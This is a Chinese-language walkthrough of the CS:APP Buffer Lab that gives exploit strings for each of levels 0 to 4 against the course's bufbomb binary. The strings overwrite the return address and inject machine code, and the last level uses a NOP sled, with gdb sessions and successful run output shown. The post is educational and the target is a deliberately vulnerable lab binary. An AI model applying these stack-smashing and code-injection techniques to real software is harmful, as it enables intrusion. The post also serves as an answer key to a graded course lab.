csapp-buflab
CSAPP-buflab
利用gets函数的缺陷,输入内容对栈进行攻击,以修改程序的运行。
gets函数不会检测输入字符串的长度,若输入的字符串过长,就可能破坏程序原有的栈空间,将某些部分修改为自己想要的内容。
准备工作
先随意确定一个用户名,通过命令./makecookie userid
获取其对应的cookie。
这里我选择的是bellaris,cookie值为0x1ce79ee7。
我们需要做的是编写攻击代码,作为bufbomb的输入,完成任务。攻击代码用16进制形式进行编写。例如:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 8e 04 08
就是将上述字符作为输入。hex2raw会帮助你将上述16进制数转换为字符串输入。
利用objdump反汇编获取bufbomb的汇编代码,进行分析。
objdump -d bufbomb > 1.txt
level0
查看writeup,可以知道我们运行可执行文件后,中间会执行test函数,在writeup中查看test的c语言代码如下:
1 void test()
2 {3 int val;
4 /* Put canary on stack to detect possible corruption */
5 volatile int local = uniqueval();
6
7 val = getbuf();
8
9 /* Check for corrupted stack */
10 if (local != uniqueval()) {11 printf("Sabotaged!: the stack has been corrupted\n");
12 }
13 else if (val == cookie) {14 printf("Boom!: getbuf returned 0x%x\n", val);
15 validate(3);
16 } else {5
17 printf("Dud: getbuf returned 0x%x\n", val);
18 }
19 }
可以看到在函数的第三行调用了getbuf这个函数,获取输入。我们继续查看getbuf的汇编代码。
08049262 <getbuf>:8049262: 55 push %ebp8049263: 89 e5 mov %esp,%ebp8049265: 83 ec 38 sub $0x38,%esp8049268: 8d 45 d8 lea -0x28(%ebp),%eax804926b: 89 04 24 mov %eax,(%esp)804926e: e8 bf f9 ff ff call 8048c32 <Gets>8049273: b8 01 00 00 00 mov $0x1,%eax8049278: c9 leave 8049279: c3 ret 804927a: 90 nop804927b: 90 nop804927c: 90 nop804927d: 90 nop804927e: 90 nop804927f: 90 nop
前三行,开辟栈空间,大小为0x38。随后将 -0x28(%ebp) 的地址作为参数传入gets函数,说明输入的字符串被放在了 -0x28(%ebp) 的位置。
故构想一个这样的栈空间:
%ebp+4 ret addr(to test) |
---|
%ebp(function getbuf’s) |
… |
-0x28(%ebp) buf |
… |
%esp |
… |
我们需要修改getbuf函数执行后的返回地址,改为smoke函数的入口地址。gets函数是从起始地址往上写内容,故我们需要输入0x28+0x4=44个字节填充内容(0x00),然后再输入smoke的入口地址。查看smoke的入口地址:
08048e0a <smoke>:8048e0a: 55 push %ebp8048e0b: 89 e5 mov %esp,%ebp8048e0d: 83 ec 18 sub $0x18,%esp8048e10: c7 44 24 04 fe a2 04 movl $0x804a2fe,0x4(%esp)8048e17: 08 8048e18: c7 04 24 01 00 00 00 movl $0x1,(%esp)8048e1f: e8 6c fb ff ff call 8048990 <__printf_chk@plt>8048e24: c7 04 24 00 00 00 00 movl $0x0,(%esp)8048e2b: e8 50 04 00 00 call 8049280 <validate>8048e30: c7 04 24 00 00 00 00 movl $0x0,(%esp)8048e37: e8 94 fa ff ff call 80488d0 <exit@plt>
可以看到入口地址是0x08048e0a。由于gets函数检测到换行就会终止输入,且0x0a正好是换行符的ascii码形式,所以我们需要传smoke函数的其他地址,我们可以选择0x08058e0b,对函数运行无影响。同时要注意,由于是采用小端法方式存储的机器,故我们应该输入的内容应是:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 8e 04 08
运行结果:
valoran@ubuntu:~/buflab/buflab-handout$ ./hex2raw < level0.txt | ./bufbomb -u bellaris
Userid: bellaris
Cookie: 0x1ce79ee7
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
level1
查看writeup,得知本题的要求与上题相似,在getbuf函数执行完毕后跳到fizz函数。
我们先查看fizz函数的c语言代码:
void fizz(int val)
{if (val == cookie) {printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
可以知道,只有当传入参数值为cookie时才能输出正确结果。所以同时还要将自己的cookie值作为参数传给fizz函数。
查看fizz函数的部分汇编代码:
08048daf <fizz>:8048daf: 55 push %ebp8048db0: 89 e5 mov %esp,%ebp8048db2: 83 ec 18 sub $0x18,%esp8048db5: 8b 45 08 mov 0x8(%ebp),%eax8048db8: 3b 05 04 d1 04 08 cmp 0x804d104,%eax//cmp cookie and val8048dbe: 75 26 jne 8048de6 <fizz+0x37>
可以看到,传入fizz函数的参数是放在fizz栈的 0x8(%ebp) 处。
同上题,我们构想一个栈空间:
before go to fizz | after |
---|---|
test’s %ebp | … |
… | … |
argument1 | %ebp+8 val |
test’s %esp | |
ret addr(getbuf’s) | fizz’s %ebp |
getbuf’s %ebp | getbuf’s %ebp |
… | … |
%ebp-28 buf | %ebp-28 buf |
… | … |
故我们需要输入的内容应该是0x28+0x4=44字节的填充字符,然后是fizz函数的入口,随后又是4字节的填充字符,最后是cookie值。查看汇编代码发现fizz函数的入口是 08048daf <fizz>
。故我们应该输入的内容应是:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 af 8d 04 08 00 00 00 00 e7 9e e7 1c
运行结果:
valoran@ubuntu:~/buflab/buflab-handout$ ./hex2raw < level1.txt | ./bufbomb -u bellaris
Userid: bellaris
Cookie: 0x1ce79ee7
Type string:Fizz!: You called fizz(0x1ce79ee7)
VALID
NICE JOB!
level2
查看writeup,可以知道,这次我们需要跳转到bang函数:
int global_value = 0;
void bang(int val)
{if (global_value == cookie) {printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
而且我们需要修改全局变量global_value的值使其等于cookie,才会输出正确结果。
查看bang的汇编代码:
08048d52 <bang>:8048d52: 55 push %ebp8048d53: 89 e5 mov %esp,%ebp8048d55: 83 ec 18 sub $0x18,%esp8048d58: a1 0c d1 04 08 mov 0x804d10c,%eax8048d5d: 3b 05 04 d1 04 08 cmp 0x804d104,%eax8048d63: 75 26 jne 8048d8b <bang+0x39>8048d65: 89 44 24 08 mov %eax,0x8(%esp)8048d69: c7 44 24 04 ac a4 04 movl $0x804a4ac,0x4(%esp)8048d70: 08 8048d71: c7 04 24 01 00 00 00 movl $0x1,(%esp)8048d78: e8 13 fc ff ff call 8048990 <__printf_chk@plt>8048d7d: c7 04 24 02 00 00 00 movl $0x2,(%esp)8048d84: e8 f7 04 00 00 call 8049280 <validate>8048d89: eb 18 jmp 8048da3 <bang+0x51>8048d8b: 89 44 24 08 mov %eax,0x8(%esp)8048d8f: c7 44 24 04 c2 a2 04 movl $0x804a2c2,0x4(%esp)8048d96: 08 8048d97: c7 04 24 01 00 00 00 movl $0x1,(%esp)8048d9e: e8 ed fb ff ff call 8048990 <__printf_chk@plt>8048da3: c7 04 24 00 00 00 00 movl $0x0,(%esp)8048daa: e8 21 fb ff ff call 80488d0 <exit@plt>
可以看到,程序将0x804d10c和0x804d104两个地址中的值进行了比较,经过分析,global_value的地址为0x804d10c,cookie存放的地址是0x804d104。故我们只需要编写汇编代码,将cookie值赋给global_value,然后将bang函数的入口压栈,返回bang函数即可。编写的汇编代码如下:
movl 0x804d104,%eax
movl %eax,0x804d10c
push $0x8048d52
ret
使用指令gcc -m32 -c level2.s -o level2
和 objdump -d level2 > level2.txt
获取汇编代码的机器码形式,将这些机器码放在开头,然后和之前一样加入填充字符,最后填入buf字符串存放的首地址作为getbuf的返回地址即可,可以通过gdb查看,找到是0x55683118。故我们应该输入的内容应是:
a1 04 d1 04 08 a3 0c d1 04 08 68 52 8d 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 31 68 55
运行结果:
valoran@ubuntu:~/buflab/buflab-handout$ ./hex2raw < level2.txt | ./bufbomb -u bellaris
Userid: bellaris
Cookie: 0x1ce79ee7
Type string:Bang!: You set global_value to 0x1ce79ee7
VALID
NICE JOB!
level3
查看writeup,可以得知要求与之前不同,需要我们在getbuf之后返回到原位置(即test函数中调用getbuf的下一条指令),同时返回值也要求是cookie值而不是1。
所以我们需要进行以下操作:
- 将%eax修改为cookie的值(函数的返回值是存放在%eax内)
- 恢复test的栈帧(%ebp)
- 返回test函数相应位置
我们可以通过gdb调试来获取test函数的%ebp值:
valoran@ubuntu:~/buflab/buflab-handout$ gdb -q bufbomb
Reading symbols from /home/valoran/buflab/buflab-handout/bufbomb...(no debugging symbols found)...done.
(gdb) b *0x8048e48
Breakpoint 1 at 0x8048e48
(gdb) r -u bellaris
Starting program: /home/valoran/buflab/buflab-handout/bufbomb -u bellaris
Userid: bellaris
Cookie: 0x1ce79ee7Breakpoint 1, 0x08048e48 in test ()
(gdb) p $ebp
$1 = (void *) 0x55683170
将断点设在test函数中调用getbuf之前的位置,得到需要恢复的栈帧是0x55683170。
和前面的题一样,我们先编写汇编代码:
movl $0x1ce79ee7,%eax
movl $0x55683170,%ebp
push $0x08048e50
ret
获取机器码后,将其填到开头,加上填充位,在共44个字节后,填入跳转地址(buf的首地址),最终的攻击代码为:
b8 e7 9e e7 1c bd 70 31 68 55 68 50 8e 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 31 68 55
运行结果:
valoran@ubuntu:~/buflab/buflab-handout$ ./hex2raw < level3.txt | ./bufbomb -u bellaris
Userid: bellaris
Cookie: 0x1ce79ee7
Type string:Boom!: getbuf returned 0x1ce79ee7
VALID
NICE JOB!
level4
本题与上题类似,也是需要返回到原函数并且返回值为cookie。但不同的是,运行时加上了-n参数,导致运行的函数是testn,其中获取输入的函数也变为了getbufn。同时,需要连续5次输入都能得到正确结果,我们查看getbufn的汇编代码:
08049244 <getbufn>:8049244: 55 push %ebp8049245: 89 e5 mov %esp,%ebp8049247: 81 ec 18 02 00 00 sub $0x218,%esp804924d: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax8049253: 89 04 24 mov %eax,(%esp)8049256: e8 d7 f9 ff ff call 8048c32 <Gets>804925b: b8 01 00 00 00 mov $0x1,%eax8049260: c9 leave 8049261: c3 ret
十分简单,和getbuf相似,不同的是开辟的栈变大,而且输入的buf放在了 -0x208(%ebp) 的位置。但是困难的是: 我们每次输入,栈帧位置都会变换。 但是栈顶是不会变的。所以我们可以用%esp来获取%ebp。
我们查看testn的部分汇编代码:
08048cce <testn>:8048cce: 55 push %ebp8048ccf: 89 e5 mov %esp,%ebp8048cd1: 53 push %ebx8048cd2: 83 ec 24 sub $0x24,%esp8048cd5: e8 3e ff ff ff call 8048c18 <uniqueval>8048cda: 89 45 f4 mov %eax,-0xc(%ebp)8048cdd: e8 62 05 00 00 call 8049244 <getbufn>
可以看到,由于push了%ebx,所以%ebp=%esp+0x28。
和level3一样,编写汇编代码:
mov $0x1ce79ee7,%eax
leal 0x28(%esp),%ebp
push $0x8048ce2
ret
又由于我们无法确定buf存放的地址,故我们通过gdb调试获取每次输入getbufn栈帧的位置:
getbufn:
$1 = (void *) 0x55683140
$2 = (void *) 0x55683120
$3 = (void *) 0x55683180
$4 = (void *) 0x556830e0
$5 = (void *) 0x556831a0
buf=-0x208(%ebp),我们取最大的地址0x556831a0,得到buf的最高可能存放地址是0x55682f98。
根据实验指导,我们可以将0x208(buf’s area)+0x4(ebp)个输入字节出上面汇编代码的机器码之外用nop(0x90)填充,形成nop sleds。最后再加上buf的最高可能存放地址作为返回地址。最终的攻击代码如下:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
b8 e7 9e e7 1c 8d 6c 24 28 68 e2 8c 04 08 c3 98 2f 68 55
运行结果:
valoran@ubuntu:~/buflab/buflab-handout$ cat level4.txt | ./hex2raw -n | ./bufbomb -n -u bellaris
Userid: bellaris
Cookie: 0x1ce79ee7
Type string:KABOOM!: getbufn returned 0x1ce79ee7
Keep going
Type string:KABOOM!: getbufn returned 0x1ce79ee7
Keep going
Type string:KABOOM!: getbufn returned 0x1ce79ee7
Keep going
Type string:KABOOM!: getbufn returned 0x1ce79ee7
Keep going
Type string:KABOOM!: getbufn returned 0x1ce79ee7
VALID
NICE JOB!
csapp-buflab相关推荐
- CSAPP buflab 实验报告
实验程序压缩包下载 提取码:1111 实验题目:BUFLAB 实验目的: 本实验将帮助您详细了解IA-32调用约定和堆栈组织.它涉及到对lab目录中的可执行文件bufbomb应用一系列缓冲区溢出攻击. ...
- 计算机系统实验之buflab
buflab实验是CSAPP课程中bomblab实验之后的实验,相对来说buflab实验难度更大,但是有了bomb实验的基础,想要解决这个实验还是相对比较容易的.另外,要做出实验,需要通读实验文档,里 ...
- csapp 、sicp 、深入理解计算机系统、 计算机程序的构造和解释
CSAPP 第一版的英文版 深入理解计算机系统第一版中文版 这个是csdn账号 这里上传文件大小在10M以内 这个pdf是19+M的 深入理解计算机系统第二版的中文版下载 第一版英文版的介绍原书 ...
- CSAPP第五章就在“扯淡”!
"你的时间有限,所以不要为别人而活.不要被教条所限,不要活在别人的观念里.不要让别人的意见左右自己内心的声音.最重要的是,勇敢的去追随自己的心灵和直觉,只有自己的心灵和直觉才知道你自己的真实 ...
- csapp:无符号数可能造成的程序bug
出自csapp练习2.26 size_t strlen(const char *s); int strloner(char *s,char *t) {return strlen(s)-strlen(t ...
- 链接器(linker)的作用——CSAPP第7章读书笔记
首先说说我为什么要去读这一章.这个学期开OS的课,在Morden Operating System上读到和Process有关的内容时看到这样一句话:"Process is fundament ...
- CSAPP:第三章程序的机器级表示1
CSAPP:程序的机器级表示1 关键点:数据格式.操作数指示符. 数据格式访问信息操作数指示符举例说明 数据格式 术语字(word)表示16位数据类型,32位数为双字(double words), ...
- 【❌❌深入浅出,九浅一深⭕⭕】《深入理解计算机系统》CSAPP
<计算机系统基础>30' 一.处理器的时序电路 1.CPU中的时序电路 答: CPU中的时序电路:通过RS触发器控制CPU的时序. 2.单周期处理器的设计 答: CPU在处理指令时,一般需 ...
- CSAPP:Attack lab
关注公号[逆向通信猿]更精彩!!! 原文地址:https://www.jianshu.com/p/db731ca57342 本文介绍的是CSAPP书籍中的第三个lab: Attack lab.通过这个 ...
- [精品]CSAPP Bomb Lab 解题报告(七)——隐藏关卡
接上篇[精品]CSAPP Bomb Lab 解题报告(六) gdb常用指令 设置Intel代码格式:set disassembly-flavor intel 查看反汇编代码:disas phase_1 ...
最新文章
- git命令合并分支代码
- 解决nodejs环境下端口号被占用的方法
- 状态压缩 HDU 1565
- linux 自启动程序 优先级,Linux自启动服务优先级/顺序设置
- 【NLP】用于序列标注问题的条件随机场(Conditional Random Field, CRF)
- tortoisesvn › prefer local prefer repository
- 配置token_Nginx常用的配置
- popup java_PoPup
- 重构增长:如何从价值创造出发,打造企业的成长思维
- 屠杀机器人和无处不在的监控:AI是我们最大的生存威胁?
- linux下多线程的创建与等待详解 【转载】
- swift获取图片像素颜色值
- Vbs调用MsAgent组件,很有趣
- python:求100以内素数的和
- 【合同】产品设计:ID与MD设计合同模板
- 安全帽检测/人脸识别系统国标GB28181协议云服务EasyGBS搭建智慧工地 助力智慧建筑生态圈
- 解决 SSL握手失败问题
- opencc中文维基wiki百科简体繁体之间的转换解决
- 复合梯形公式matlab代码,复合梯形公式
- EMERGENCY! EUREKA MAY BE INCORRECTLY CLAIMING INSTANCES ARE UP WHEN THEY'RE NOT.